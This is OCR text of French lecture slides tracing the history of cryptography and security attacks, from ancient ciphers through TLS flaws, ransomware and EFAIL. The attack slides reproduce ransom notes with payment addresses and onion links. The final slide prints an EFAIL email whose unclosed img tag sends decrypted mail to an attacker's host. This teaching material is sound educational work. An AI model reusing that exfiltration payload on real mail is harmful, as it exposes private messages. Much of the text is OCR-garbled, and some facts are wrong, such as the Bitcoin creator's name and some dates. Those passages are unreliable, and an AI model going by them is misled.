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Un réalité physique

Router/Firewall

Internet —.—‘M

Modem

==

Waorkstaticn

Laptop Computer

Smartphone

Desktop PC

3/131
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https://www.submarinecablemap.com/
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https://www.submarinecablemap.com/

DNS: Domain Name System

www.google.com = 142.250.75.238

» IPv4 : xxx.xxx.xxX.XxxX, where xxx € {0,255}

v

|PV6 D XXXX I XXXX I XXXX I XXXX D XXXX L XXXX (XXXX L XXXX,
where xxxx is a hexadecimal

www.google.fr = 142.250.201.163

» Top-Level Domain (TLD) root fr
P> 2nd level : google
» 3rd level : www

ICANN : Internet Corporation for Assigned Names and Numbers
AFNIC : Association Francaise pour le Nommage Internet en
Coopération
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sont les servers DNS ?

a NSI Herndon, VA
¢ PSlnet Herndon, VA k RIPE London

d U Maryland College Park, MD i NORDUnet Stockholm
g DISA Vienna, VA

h ARL Aberdeen, MD

NSI (TBD) Her - m WIDE Tokyo
phes bﬁ?-"
e NASA Mt View, CA

f Internet Software C. Palo‘Alto,
CA

b USC-ISI Marina del Rey, CA -
I ICANN Marina del Rey, CA ‘
7

13 serveurs racines
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Plan

Une breve Histoire

La cryptographie moderne

Quelques Attaques

Conclusion
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Plan
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Stéganographie : 500 av J-.C

Histoires d"Hérodote (445 av J.-C)

> Tablette de cire

> Tatouage d'esclaves
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Scythale : 404 av. J.-C

Plutarque raconte son utilisation par Lysandre de Sparte

10 / 131



150 av. J.-C.

Carré de Polybe :

G

F

T|C

K|IN|Q|R

V| W|X|Z
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H
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César : ler siecle av. J.-C.

AVE CESAR
DYH FHVDU
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Vigenere : 1586

Blaise de Vigeneére, né en 1523 a Saint-Pourgain-sur-Sioule

BLAISE
132132
COCIJVG
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PigPen : XVleme siécle

Clmetlere Tr|n|ty Church NewYork 1697

1!””' A Blc J/K[L

rroao0auar d04>T11
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PigPen : XVleme siécle

Clmetlere Tr|n|ty Church NewYork 1697

1!””' A Blc J/K[L

rozJ0auar 104>
REMEMBER DEATH
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Principes de Kerchoff : 1883
“La Cryptographie Militaire"

JOURNAL

o

SCIENCES MILITAIRES.

Janvier 1883.

LA CRYPTOGRAPHIE MILITAIRE.

1

LA CRYPTOGRAPHIE DANS LARMEE

A. Notions historiques.

“La sécurité d’un systéme cryptographique doit totalement
dépendre du secret de la clé et non du secret de I'algorithme.”
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Chiffrement de Vernam : 1917

Inventé par Franklin Miller en 1882.

m = 010111
@& k = 110010
c = 100101

Bellovin, Steven. " Frank Miller: Inventor of the One-Time Pad’

16 / 131



1918

GEDFU 18 :

Georges Painvin

Fritz Nebel

AID|F|G|V (X
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Arthur Scherbius : Enigma 1919

g
Marian Rejewski, Jerzy Rézycki et Henryk Zygalski
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Sphinx : 1931

Société des Codes Télégraphiques Georges Lugagne, Paris

Paul Godillon
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Plan

La cryptographie moderne
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Chiffrement Symétrique

dechiffrement

Clef symétrique

chiffrement

Clef symétrique

Exemples

» Chiffrement par bloc (taille fixe des messages) : DES, AES

» Chiffrement par flots (stream cipher) (taille illimité des
messages) RC4, FISH, ChaCha, Salsa20, A5/1
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Date Encryption Standard (DES) : 1971

Lucifer par Horst Feistel (IBM)

Left 32 bits Right 32 bits
e Ci——
[_Lef 32 birs Right 32 bits |

!

Left 32 bits Right 32 bits
Tverse Initial Perm
utput

A

Out
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ARPANET : 1971

Advanced Research Projects Agency Network

Honolulu
MOFF o

Keller

NORSAR

W 'TIP" - Kan tilknyttes
vertsmaskiner og terminaler

@ “IMP" Kan tilknyttes
ML vertsmaskiner
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1974 Carte a puce, Roland Moreno

25 mars 1974, Brevet 74.10191 (INNOVATRON)
Carte vitale, SIM, identité, TV, téléphone (1983 “Carte pyjama")

1992 toutes les cartes bancaires francaises ont des cartes a puces.
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Chiffrement a Clé publique

déchiffrement

chiffrement
— _>

Exemples
» RSA:c=m® modn
» ElGamal : c=(g",h"-m)
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Echange de clé de Diffie-Hellman : 1976

Echange de clé

Alice

agnp
A =g’mod p

K =B*mod p

\

K =A®mod p = (g* mod p)® mod p = g* mod p = (g° mod p)* mod p = B* mod p

26 / 131



RSA : Rivest, Shamir & Adelman 1977

Clé publique : e, n
Clé secrete : p, g
ol n = pq, p et g premiers
» Chiffrement ¢ = m® mod n
» Déchiffrement m = c? mod n
ot d=e"t mod p(n)=(p—1)(qg—1)
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CNIL : 6 janvier 1978

Commission Nationale de I'Informatique et des Libertés

CN = LDI

Commission Nationale de I'lnformatique et des Libertés
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Partage de secret de Shamir : 1979
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Michael Oser Rabin : 1979

Digitalized Signatures and Public Key Functions as Intractable as
Factorization

Résidu quadratique : x> = g (mod n)
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Oblivious Transfer : 1981

“How to exchange secrets with oblivious transfer’, M. O. Rabin

b € {0, 1} f
m_0, m_1
L e A
—
Alice Bob
Alice ne connait pas b Bob ne connait pas m(;_p)

En 1985, 1-2 oblivious transfer

0. Goldreich A. Lempel
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Calcul Muli-Parties Sécurisé : 1982

Qui est le plus riche 7 Sans révéler les salaires

Andrew Yao

Oded Goldreich, Silvio Micali, Avi Wigderson, David Chaum,

Claude Crépeau, lvan Damgard.
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ARP protocol (Address Resolution Protocol) : 1982

RFC 826, couche 2, intra réseau
Trouver une @MAC a partir d'Q@IP

Device C
12310.20.3
| am looking for *123.10.20.2". That is me! Device B/
What is your MAC address? Here is my MAC address
00:1h:63:84:45:e6
ARP Request T ARP Reply
) —_— -— )
Device A Router Device B
123.10.20.1 123.10.20.2

Device D
12310.20.4
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Signature Aveugle : 1983

“Blind signatures for untraceable payments', David Chaum

ALICE
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Chiffrement probabiliste : 1984

Taher EIGamal

Clé Publique : (p, g, h), ou h=g? mod p.
Clé Privée : a
Chiffrement : Choisir r et calculer (u,v) = (g", Mh")

Déchiffrement : Avec (u, v), calculer M =, v x u™?
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Communication quantique : 1984

Charles Bennett Gilles Brassard 36 /131



Elliptic-curve cryptography : 1985
Neal Koblitz Victor S. Miller

e

R=P+Q
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RC4 : 1987

"Rivest Cipher 4" ou "Ron’s Code" utilisé pour TLS (Transport
Layer Security) et le protocole WEP (Wired Equivalent Privacy)

5 g
(s (T8 L T

stilbsHH< s3]

K S[i]+S[j]

Keystream
[ reen | ——

Cassé en 2001
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Engagement (Committement): 1988

%
1

Commitment is is created and hidden...

Step 1:
Big chef puts ballot

‘ in a locked box

Step3: )
Lite chet W

receives key to box

/ Commitment becomes binding!
Step 2: &?
Big chef gives box —— !
to little chef &@

Ve

Some time later... \

s

Step 4:
Little chef opens
the box with key

Commitment is levealedh

g

“Minimum Disclosure Proofs of Knowledge’

YL

Gilles Brassard David Chaum Claude Crépeau
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Border Gateway Protocol (BGP) : 1989
RFC 1105

BGP Autonomous Systems

RIP, IGRP,
EIGRP, OSPF

|

EGPs; BGP

|

Autonomous System 100 Autonomous System 200

Yakov Rekhter (IBM) Kirk Lougheed (Cisco)
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ZKP et Signature de Schnorr : 1989

“Efficient Identification and Signature for Smart Cards"
Claus-Peter Schnorr

x=
Frover g Verifier

ﬂ 1) Commitment: a = g~ N
[

2) Challenge: ¢

reZ,,a=g"

c « {0,1}
z=1+cw
3) Response: z gt=?a-x°
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Digital Signature Algorithm DSA : 1991

signature

secrete key pulic key

RSA: m? mod n
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MD5 : 1991

Message Digest 5 Ron Rivest

— bloc du message (512 bits)

Totalement cassé en 2004
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Pretty Good Privacy EE : 1991

Chiffrement et signature des emails, Phil Zimmermann

“If privacy is outlawed, only outlaws will have privacy”
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SHA : 1993
Secure Hash Algorithm (SHA-0)

F. Chabaud et A. Joux, “Differential collisions in SHA-0,
CRYPTO'98.
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A5/1 : 1994
Chiffrement par flots pour les GSM.

X19 +X18 +X17 +X14+1
X22—|-X21+1
xB 4+ x4+ x x84
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Broadcast Encryption : 1994

Amos Fiat Moni Naor
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SSL 1.0 : 1994

Secure Socket Layer, version théorique

version 1.0
Ble fdl Vew Go fookmarks Cptiors Drecory =
Back ] rorwara | oo | [Rewad [ ] [open | 7 ]
Location: o] ’, i

Wolcome | What's New | Whats Cool | Questions | Mot Semch | Mot Dectory

<
EEN
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SSL 2.0 : 1995

Ele Edt Vew Go Bookmarks Options

Location: [about:

Whats New! | What's Cool | Handbook | NetSearch | NetDirectory | Software
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Private Information Retrieval (PIR) : 1995 & 1997

o

ﬁ

B. Chor O. Goldreich E. Kushilevitz M. Sudan

client

(’4 server
\g; PIR protocol

A\ >
\ holds
holds e T
P | database
—> .~' De(01)"
— learns nothing

learns Di about, 1

Puis, 1997 Kushilevitz et Ostrovsky
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Oblivious RAM : 1996

Server
ORAM 7 2
User Client
rezdljgvrr;te read/write
query
response

O. Goldreich Ostrovsky
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SHA-1 : 1996

(a3 [c]o]e]
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SSL 3.0 : 1996
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k-anonymity : 1998
Activité | Age Maladie
M2 [22,23] | Cancer
M2 22,23] | Aveugle
M2 22,23 VIH
PhD 24,27 Cancer
PhD 24,27] | Allergies
PhD 24,27] | Allergies
L 20,21 Cancer
L [20,21] | Cancer
L [20,21] | Cancer

3-Anonymat : Activité et I'age sont généralisées

g
[ 1?4
S .
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Chiffrement Partiellement Homomorphique : 1999

{atpk x {b}pk = {a+ b}pk

Pascal Pailler
Chiffrement de m : ¢ = (1 + N)™ - rV mod N2
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TLS 1.0 : 1999

General | Security | Privacy | Content | Connections | Programd| Advanced

Settings

Enable Integrated Windows Authentication™

[ Phishing Filter
(©) Disable Phishing Filter

ficate address mismatch®
Warn if changing between secure and not secure mode H
Warn if POST submittal is redirected to a zone that does nl

< n ]

*Takes effect after you restart Internet Explorer
Restore advanced setfings
Reset Intemet Explorer settings
Deletes all temporary files, disables browser

St o o s o g etgs. Rt ]

You should only use this if your browser is in an Lnusable state

(o ][ caneat ][ ooy
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Symmetric Searcheable Encryption (SSE) : 2000

Server Search results

~a
Encrypted data o [rl?} [?} ';1 @
a oo
t =
Search quer;\‘ @
— B o

User's secret key

kY
)
Dawn X. Song David A. Wagner Adrian Perrig
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Advanced Encryption Standard (AES) : 2000

Rijndael par Joan Daemen et Vincent Rijmen

| Cipherkey | | Plaintext |
l

[ KeyExpansion ] XOR ]

1
Roundkey[0]

pundie 0
ShiftRows

AddRoundKey

Plaintext

Roundkey[1]

itR<14

Roundkey[14]

When R = 14, Flow will
bypass Mixcolumns
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IBE : Boneh—Franklin 2001

Identity Based Encryption
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TOR : 20 septembre 2002

The Onion Routing

Tor

TorProject.org

Roger Dingledine et Nick Mathewson
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SHA-2 : 2002

[A[BICIDIE[F [G]H]

M
T

[ATBICIDJETF [G[H]
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TriParty de JOUX: 2002

Private Private 7

Key (b) &7 Key (@) €

Son N Public key pairs R Public key pairs
I pb=bxG1 [ pa=axGl
€ gb=bxG2 ga=axG2

s
\

Key = b x Pairing(qa,pc) aa

K]

| pe
| Key = a x Pairing(qc,pb)

&)
Public k ﬂpub
ublic key pair /
;:v::'t:;e ‘ pc=cxGl Gradlent =
Y qc=cx G2 3 I\ PNV g ‘é’
G/‘ s

Key = ¢ x Pairing(qgb,pa)

“A One Round Protocol for Tripartite Diffie—Hellman"
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ABE : 2004
Idée de Adi Shamir 1984

Amit Sahai Brent Waters

PR o R [FRSYR
Bob
Staff

e[S O

o}
=
ip

aaaaaa

User3 Attributes
Cindy

President
users | President O

“Fuzzy Identity-Based Encryption”
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OTR : 2004

OFF-THE-RECORD MESSAGING PROTOCOL

Nikita Borisov, lan Avrum Goldberg, et Eric A. Brewer
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Functional Encryption : 2005

Encryption ‘: 1
&)
Decryption Li/ \O\
f(2) £E)
? o

Amit Sahai Brent Waters
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Sanitizable Signature : 2005

Giuseppe Ateniese, Daniel H. Chou, Breno de Medeiros et Gene
Tsudik

@

Y
‘;} ‘@u'

signer sanitizer

-~ g

O] O~ O] O~
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TLS 1.1 : 2006

i [y a3 [ s s

No. Time Source Destination Protocol Lenim Info

108 3. 57906200 10.128. 56. 10 10.123.107.27 62 nd1-aas > 47941 [s\m ACK] Seq=0 Ack=1 Win=5840 Len=0 M55~1460 5=128

————
111 3.5800610010.128. 56.10 10.123.107.27 Tcp 60 ndl-aas > 47941 [ACK] Seq= 6 Win-5888 Len=0
112 3. 58806200 10.128. 56.10 10.123.107.27 HTTP 53 WTIP/L.1 200 connection estabiished
[ 115 3.7357110010.123.107.27 __10.128.56.10 ____TLsvi_____________________ lzaclientello |
116 3.7377360010.128. 56. 10 10.123.107.27 T 1514 server Hello
117 3.7377370010.128.56.10 10.123.107.27 7 certificate
____
120 3.7781520010.128. 56.10 10.123.107.27 ndl-aas > 47941 [ACK] Seq-2617 Ack=542 Win-6912
121 3.8087330010.128. 56.10 10.123.107.27 113 O T B, e e

126 4.16144600 10.128. 56. 10 10.123.107.27 " 60 ndl-aas > 47941 [ACK] 76 Ack=031 Win-8064 Le
127 4.16147600 10.128. 56.10 1107.27 60 nd1-aas > 47941 [ACK] 5eq=2676 Ack=2391 Win=11008 Len=0

129 4.16151200 10. 128. 56. .107. 60 ndl-aas > 47941 [ACK]

130 4.16172600 10.128. 56. .107. 60 nd1-aas > 47941 [AcK]

131 4.16392000 10,128, 56. .123.107. 107 Application pata

132 4.16414000 10.128. 56. .107. 91 Application pata

134 4.2052060010. 128. 56. 10.123.107.27 123 Application bata

135 4.20538600 10.128. 56. 10.123.107.27 800 Application pata, Application pata

136 4.2053870010.128.56.10 10.123.107.27 60 nd1-aas > 47941 [FIN, ACK] Seq=3581 Ack=4872 Win-16768 Len-0
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Differential Privacy : 2006

Output result
_— —> o
Analysis (M)
+ d Outputs Oand O’
John's data are similar
D I

N _ Output result

> > o'
Analysis (M) © ealizadeh.com

Cynthia Dwork
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TLS 1.2 : 2008

Client Server

Connection
oms -
Request \
-
[a}
<
34 Connection .
" Acknowledged 2
a
ClientHello \ cane .
ServerHello
102ms Certificate
/ ServerHelloDone |
ClientKeyExchange T
ChangeCipherSpec 136ms L
Finished \ &
a
170ms Clja?gerpherSpec
/ Finished

Application

Data \ 204ns

Application
238ms oo

272ms
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ANSSI : 7 juillet 2009

Agence Nationale de la Sécurité des Systemes d’Information

Pierre Bienaimé
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FHE : Craig Gentry 2009

Full Homomorphic Encryption
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BitCoin : 2009

Satoshi Sakamoto

REGISTRE BLOCKCHAIN
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SHA-3 Keccak : 2 octobre 2012

Guido Bertoni, Joan Daemen, Michaél Peeters et Gilles Van Assche
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ZK-Snark : 2012

Zero-Knowledge Succinct Non-interactive Arguments of Knowledge

S s 40

User (Prover) Network (Verlfler

. Create a succinct .
proof
Generates

Uses private key and
‘ . circuit
Public and private key Uses the private Verifies that prover’s
for proof generation key and the circuit claim is valid
Recursive composition and bootstrapping for SNARKS and

proof-carrying data
Alessandro Chiesa, Nir Bitansky, Ran Canetti et Eran Tromer
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elDAS 1.0 : 2014
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Signal : 2014

Perfect Forward Secrecy

@ compromise

Post Compromise Security

compromise % @

e
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SGX : 2015

Software Guard Extensions

Skylake microarchitecture
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BGPsec : 2017

Config
Script

With
UPDATES
—

UDPATE
Storage

STREAM - SDTIN ‘

=

B R

AN

Lepinski, Matthew

BGPsec-10
Traffic
Generator
ECDSA
Module
Traffic
Monitor

BGP / BGPsec
Engine

Performance
Tester

Crypto
odule

UDPATE
Storage

UPDATE
LOG

>
~

.
-

BGP / BGPsec
Router
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RGPD : 2018

20 millions

oud %
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TLS 1.3 : 2018

TLS 1.2 TLS 1.3
(Full Handshake) (Full Handshake)

(o

Client Server
""" oms
T soms
Tooms
""" tsoms
""" 00ms
""" 2soms
300ms
SSL & TLS Timeline
SSL1O @ BEASTattack @ POODLE attack
ssL20
SsL3.0
- $ & 5 X o 2 8
§8 £8 £ 8 & FF 88
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Efficient Verifiable Delay Functions (VDF) : 2019

Benjamin Wesolowski Eurocrypt 2019
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Cryptographie Post-quantique : 2022

» Décodage de codes linéaires aléatoires (McEliece 1978)
» Inversion de fonctions de hachage (1978)

» Inversion de polyndmes multivariés (Unbalanced Oil and
Vinegar 1995)

> Problemes de vecteurs courts dans les réseaux eucliens : LWE
(Learning With Errors, Odded REgev 1996)

> Isogénies des courbes elliptiques supersingulieres (2006)
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elDAS 2.0 : 2024

Legal Framework

&

Digital Identities

Trust Services

Electronic
Identification

Cross-Border
Recognition
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Plan

Quelques Attaques

84 / 131



Attaque par Relais : 1976

Le probleme du " Matitre des échecs”

John Horton Conway
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Meet in the middle : 1977

Double DES avec k; et k»

C = ENCy,(ENCy, (P))

P = DECy (DEC,,(C))

Brute force attaque : 2K1 x 2k2 = pk1+k2
Si k = |ki| = | ko| alors 22k
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Meet in the middle : 1977

Double DES avec k; et k»

C = ENCy,(ENCy, (P))

P = DECy (DEC,,(C))

Brute force attaque : 2K1 x 2k2 = pk1+k2

Si k = |ki| = | ko| alors 22k

Observation

DEC,(C) = DECy,(ENCy,[ENCk, (P)])
= ENCy, (P)
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Meet in the middle : 1977

Double DES avec k; et k»

C = ENCy,(ENCy, (P))

P = DECy (DEC,,(C))

Brute force attaque : 2K1 x 2k2 = pk1+k2
Si k = |ki| = | ko| alors 22k

Observation
DEC,(C) = DECy,(ENCy,[ENCk, (P)])
= ENCy, (P)

MITM Attack par Diffie et Hellman

» ENCy, (P) pour toutes les valeurs de kq
» DEC,,(C) pour toutes les valeurs de ko,

Pour un total de 2/kil 4 2lkel
Si k = |ki| = | k| alors 2k+1
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Breve histoire des virus

1982 1986 1988 1989

| | | | ,
! ! ! !

Elk Cloner Brain Morris Worm
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Mafia fraude : 1988

Mafia Fraud (MF) perte d’argent pour P

Yvo Desmedt
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Algorithme de Shor : 1994

Factorisation en O((logN)3) sur un ordinateur quantique.

o ] : ot
|0) _@ l, ..
L) ﬂL' Ua?’ H Ua?' I— ' 4 Ua?" |_

Peter Shor

Réduction a trouver I'ordre (facile avec Shor).
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Algorithme de Grover : 1995

Algorithme de recherche en v/ N sur un ordinateur quantique.

Grover diffusion operator

0 —{#]} HH HE - A=
|u“j:{ [ T I 2T L (VI S B
oy —{F_ A - A

Repeat = T4/ times

Lov Kumar Grover
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Man in the middle : 1995

Attaque du protocole Needham Schroeder : Using Encryption for
authentication in large networks of computers (1978) par G.Lowe

1. A - B : {NQ,A}pk(B)
2. B - A : {Na, Nb}pk(A)
3. A - B : {Nb}pk(B)

Gavin Lowe 91/ 131



Buffer OverFlow : 1996
“How to Write Buffer Overflows', Mudge (1995)

Allocated buffer (8 bytes) Overflow (2 bytes)

Buffer Overflow

Buffer Boundary

Volume Seven, Issue Forty-Nine
File 14 of 16

BugTraq, ro0t, and Underground.Org
bring you

Smashing The Stack For Fun And Profit

by Aleph One
alephl@underground.org

‘smash the stack’ [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine.” Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
variants include trash the stack, scribble the stack, mangle

the stack; the term mung the stack is not used, as this is

never done intentionally. See spam; see also alias bug,

fandango on core, memory leak, precedence lossage, overrun screw.

Smashing the stack for fun and profit, AlephOne (Elias Levy)
Vol 7 Phrack 49, November 08, 1996

92 /131
https://insecure.org/stf/mudge_buffer_overflow_tutorial.html


https://insecure.org/stf/mudge_buffer_overflow_tutorial.html

Side Channel Attack : 1996

Paul Kocher

Temps, consommation électrique, EM etc ...
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Serge Humpich, Yes Card : 1997

Il casse la clé privée RSA de 320 bits.

Création de cartes acceptées par tous terminaux
= 10 mois de prison
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Incident AS 7007 sur BGP : 1997
BGP (Border Gateway Protocol)

AS 65002

Company
(osPF)

AS 65003
ISP-3
(EIGRP)

AS 65004

ISP-2
(OSPF)

Premiéres instabilités importantes sur Internet.
Vincent J. Bono, “7007 Explanation and Apology”

“Internet Routing Instability’, Craig Labovitz, G. Robert Malan,

Farnam Jahanian 1998
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Bleichenbacher's attack of 1998

Million message attack sur PKCS#1 v1.5

Alice 7’ -
’
] \
! M
| C=(M)y*modN
1

\x00\x02 [Hex Key] .. pad

—
C'=C(1°mod N
4 <——— Bad crypto!!

2
Private key

—_—
C'=C (2)°*mod N
~<——— Bad crypto!!

——-
C’'=C (233)° mod N

<+—— ‘Hello’

Attaque par oracle de padding

96 / 131



Heap Overflows : 1999

Matt Conover & w00w00
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Attaques sur A5/1 : 2000

» 2000, Alex Biryukov, Adi Shamir and David Wagner : few
minutes with 2 minutes of plain communication (using in total
300 Go data, in 2%8 steps).

» 2000 Eli Biham et Orr Dunkelman attack in 239-91 with 220-8
bits fo data.
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Attaque sur RC4 : 2001

Scott Fluhrer [tsik Mantin
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Attaque sur MD5 : 2004

MD5(james.jpg)= €06723d4961a0a3f950e7786f3766338
MD5(barry.jpg) = €06723d4961a0a3f050e77863766338

“How to Break MD5 and Other Hash Functions’, Xiaoyun Wang,
et al.
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Escroquerie : Fraude au président 2005

Fraude aux Faux Ordres de Virement # (U

z

Lescroc collecte des informations pour
connaitre l'entreprise et ses dirigeants
(réseaux sociaux, organigramme)

de l'entreprise, l'escroc prétexte
une opération financiére urgente

Sous la pression ou en

Lescroc transfére
confiance, 'entreprise I'argent vers des
exécute |a transaction comptes basés a
et confidentielle I'étranger
POLICENATIGNALE
NETTRE VOCATION, € EST VOUS | Q) opuationate € / Polics Nat

VIDEO

Gilbert Chikli
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https://sancy.iut-clermont.uca.fr/~lafourcade/VIDEOS/secu/fraude-president.mp4

WikiLeaks : 2006

\
€.)

Anonymous 2003
The Shadow Brokers 2016

Julian Assange
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Cyber Attack en Estonie Avril 2007

L‘Estonie : attaques cypernétiques.

Tallinpag

_ ESTONIE

= 'T RUSSIE
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Hovav Shacham : ROP 2007

“Geometry of Innocent Flesh” — Hovav Shacham

Return Oriented Programming

mov [edx] eax
ret

SHELLCODE
| @GADGET 4
@GADGET 3
@GADGET 2
@GADGET1

.
Xor eax eax
ret

VAN

H
.

call gs:[0x10]

ret

.
add eax Oxb
ret
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Hack de la PS3 : Chaos Communication Congress 2010

fail@uerf|UlY

Marcan, Bushing et Sven

failoverflow
@1@ @failoverflow
Translation: We got all (symmetric) ps5 root keys. They

can all be obtained from software - including per-
console root key, if you look hard enough!

@t

Récidive en 2021 sur la PS5.
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ID Allemand : 1 Novembre 2010

Attaque le lendemain par Jan Schejbal.
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Stuxnet : 2010

mmm HOW STUXNET WORKED m—

UPDATE FROM SOURCE 9

7 ?
1. infection 2.search 3. update
g itatarget,
proceeds toinfectall machines running ifitis,
evade automated-detection systems. toenrich nuclear fuel. version ofiself,

B~

4. compromise
‘The worm then compromises the

exploiting “zero day’

107 / 131



Attaque par relais : 2011

Aurelien Francillon Boris Danev Srdjan Capkun
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BEAST TLS 1.0 : 2011

Browser Exploit Against SSL/TLS

we want to know we control
L N \
e s e s e B
o o ~ we know
///° . I - . © @

Thai Duong et Juliano Rizzo
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CRIME TLS 1.2 : 2012

Compression Ratio Info-leak Made Easy
ClientHello et ServerHello : Négociation de I'algorithme de
compression (DEFLATE : combinaison de LZ77 et Huffman)

» Si la requéte contient "cookie = 123" et "cookie = 456"
compression de taille k

> Si la requéte contient " cookie = 123" et "cookie = 156"
compression de taille k" < k

» Si la requéte contient "cookie = 123" et "cookie = 126"

compression de taille k” < k'’

» Si la requéte contient "cookie = 123" et "cookie = 123"

compression de taille k" < k”
Puis BREACH en 2013
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Heartbleed : mars 2012

TLS CHANNEL HEARTBEAT COMMUNICATION

’ MESSAGE SIZE
. [ HELLO [ 23 ]
m—
SIZE RESPONSE SERVER MEMORY
| 23 HELLOSecRYPaswWRDZ!1337 [ HELLO |
Hacking Tool SecR3tP

sswRDz!
1337

111 /131



Edward Snowden : 6 juin 2013

amnesiagamnesia:~§ gpg -d
OSCAR’ DU MEILLEUR BEGIN PGP MESSAGE
FILM DOCUMENTAIRE

BOTIAELVCAJAGTAL/ +LLHEO1S26CPFTICLPLASs /WL rucond L e
50, Tol

D1KE 5LaBE TuDh4 r4nQmt Z59T Nl XHKyRyMO31pQEGTPVEWNIWAI 2X3UL's

H P1)932F rKMXUCMO) SNOEP.
xw.vs-mmwmathm;; 125) fLt/pE 0

SHRCAISWNLsg1yaad Y QZANUSOGOMBKAFDPTK2 uB1Faok
44ATZ) TETIDRAOAOZ 110BLO QTZ3H2IBVaZP AU LDKCSROJSO0R
H30IBTHEN LRI TZn LK JaNVE LH/dXDg0
fOVADTOUN I T2 Y6RINL8
SFVKhXTCHtbUSAl60TxQ0A2ZhqF
eCWyBYPPM) C/C641GBPUE TWOSLY
hhpCHGFXP2NT JO4CO4BVLeOEMSEOU L-qyapam-wm\tw.m,wm
6GFON/M+LGFCOGUKPOKAGHEHS L4FEWATBbOAX/bXPHZKEVNVANT OMUGSHVTVENC
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Lucky 13 TLS 1.2 : 2013

Variant de I'attaque par padding oracle avec side channel sur MAC

0.00006 [ T

0.00005 -

0.00004

0.00003 |

Probability

0.00002

0.00001 [

-
150105 1.51x 10 1.52x10% 1.53x 10% 1.54x10° 1.55x10° 1.56 10 1.57 x 106
Hardware Cycles (Calculated by Attacker)

£
. G | 4
i.
- "1——-‘ .

Nadhem J. AlFardan

Kenneth G. P

aterson
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POODLE SSL 3.0 : 2014

Ea

= o
POODLE 7 /\g’

52
o-IXEETEg———>. :
My data is safe; eG IS User's data is safe;
uses enciyption g "= 1 Fs pd wo use encryption
3
o- Rl —>

POODLE

Side Channel Attack

Servers Compatible
with SSL 3.0 running
HTTPS

- Muahahaha - from an adjacent network | POP3s
‘ can Decode Intercepted S5L 3.0 SMTPs
communication and with that | can IMAPs

1. Hijack sessions. FIPs

2. Login as other users Telnets

3. Read confidential data

Bodo Moller, Thai Duong et Krzysztof Kotowicz
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RowHammer : 2014

p :
f Row n+1
(Aggressor) :

A\
Row n-1 —
(Aggressor) :

Row n
¢ (Victim)

~
Bank

“Flipping Bits in Memory Without Accessing Them:

AnExperimental Study of DRAM Disturbance Errors”
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LogJam & FREAK : 2015

Client C'

loge

MitM

cr, [DHE_EXPORT]

Server S

s, DHE

sr, DHE_EXPORT

certs, sign(sks, [er]| st | psiz | g | g*])

a

9

(ms, k1, ko) = kdf(g®, cr | ST)|

loge -

(ms, k1, ka) =

b = dlog(g

® mod ps12)
kdf(g®, er | sr)

finished(ms, log)

authenc(k;, Data’®)

finished(ms, logy:)

authenc(k;,Data)

authenc(kg, Data’)
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DDos Attack sur Dyn DNS 21 Octobre 2016

o oi01 11000
Jﬁ.m.n’;.”mi.b\.iw'.’.n.wv .
A AR PIOHINOLION
'::::»‘lnwmmwmwwwmmma»nnwwmm
A LLIOOLOL000
ReAIOIIOIDIDLO0N0

o
IO
A O PN

o v 15 A

117 /131



Ransomwares : Wannacry et al. 12 mai 2017

Qoops, your files have been encrypted!

‘What Happened to My C
Your important files are encrypted.

Many of your photos, videos, d other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service,

Can I Recover My Files?
017 00: Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.
J But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
'We will have free events for users who are so poor that they couldn't pay in 6 months.

L

Payment will be raise

Your files will be lost on

How Do I Pay?

[Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcolns>,
And send the correct amount to the address specified in this window.

After your payment, click <Check Payment=>. Best time to check: 9:00am - 11:00am

2017 04

Time Le

end $300 worth of bitcoin to this address
brus b bitcoin —
przsegi [1219YDP gwueZ9NyMgw519p7 AABIs]r6 Shw

http://stopransomware.fr/
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http://stopransomware.fr/

Petya : 2016

You became victim of the PETYA RANSOMUWAR

The harddisks of your computer have been encrypted with an military grade
encryption algorithm. There is no way to restore your data without a special
key. You can purchase this key on the darknet page shoun in step 2.

To purchase your key and restore your data, please follow these three easy

steps:

1. Download the Tor Browser at "https://uww.torproject.org/". If you need
help, please google for "access onion page".

2. Visit one of the following pages with the Tor Browuser:

htt /petya37hStbhyvki.onion/N19fVE
htt /petyaSkoahtsf7sv.onion/N19fuE

Enter your personal decryption code there:

If you already purchased your key, please enter it below.

Key:
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Not Petya : 2017

your iwportant Ciles are encrypted.

1T you see this text, then

your files are no longer accessible, because they
bhave beew enceypted. Perhaps you are busy looking for a way to recover your
files, bt dow't wste your time. Hobody can recover your Files without onr
decryption service,

Ve guarantee that you can recover all your files safely and easily. Al you
ueed o do is sabuit the payment and purchase the decryption key.

Please Tollow the instractions:

1. Send §389 worth of Bitcoln to following address:

1R 1SR T RZRAL T BmGSdzaR L L BMX

end your Bltcols wallet 1D and persomal installation key to e-mail
vousal ARLZNSERposieo.net. Your persomal installation key:

i~ yh0e T~ BLCAT I ~4GUNTW- 11 SuP k-MpAFSE-KEMgU1 - KPRA
: nar key, ple

wter it below,

120 / 131



Attaque sur SHA-1 : 2017 shattered.io

Attack complexity

9,223,372,036,854,775,808

SHA-1 compressions performed

Shattered compared to other collision attacks

MD5 SHA-1 Shattered SHA-1 Bruteforce
D 1 smartphone 110 GPU m 12,000,000 GPU

30 sec ™ 1year = oom 1 year
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shattered.io

Meltdown & Spectre :

3 janvier 2018

Meltdown

,ﬂ. Spectre

Affected CPU Types

Intel, Apple

Intel, Apple, ARM, AMD

Attack Vector

Execute Code
on the System

Execute Code
on the System

Method

Intel Privilege Escalation &
Speculative Execution
(CVE-2017-5754)

Branch Prediction &
Speculative Execution
(CVE-2017-5715/-5753)

Exploit Path

Read Kernel Memory from
User Space

Read Memory Contents
from Other Applications

Remediation

Software Patches

Software Patches
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EFAIL : 13 mai 2018
https://efail.de/

Modified email sends to the victim

From: attacker@efail.de
To: victim@company.com
Content-Type: multipart/mixed;boundary="BOUNDARY"

——BOUNDARY
Content-Type: text/html

<img src="http://efail.de/

——BOUNDARY

Content-Type: application/pkcs7-mime;
smime-type=enveloped-data

Content-Transfer-Encoding: baseb4d

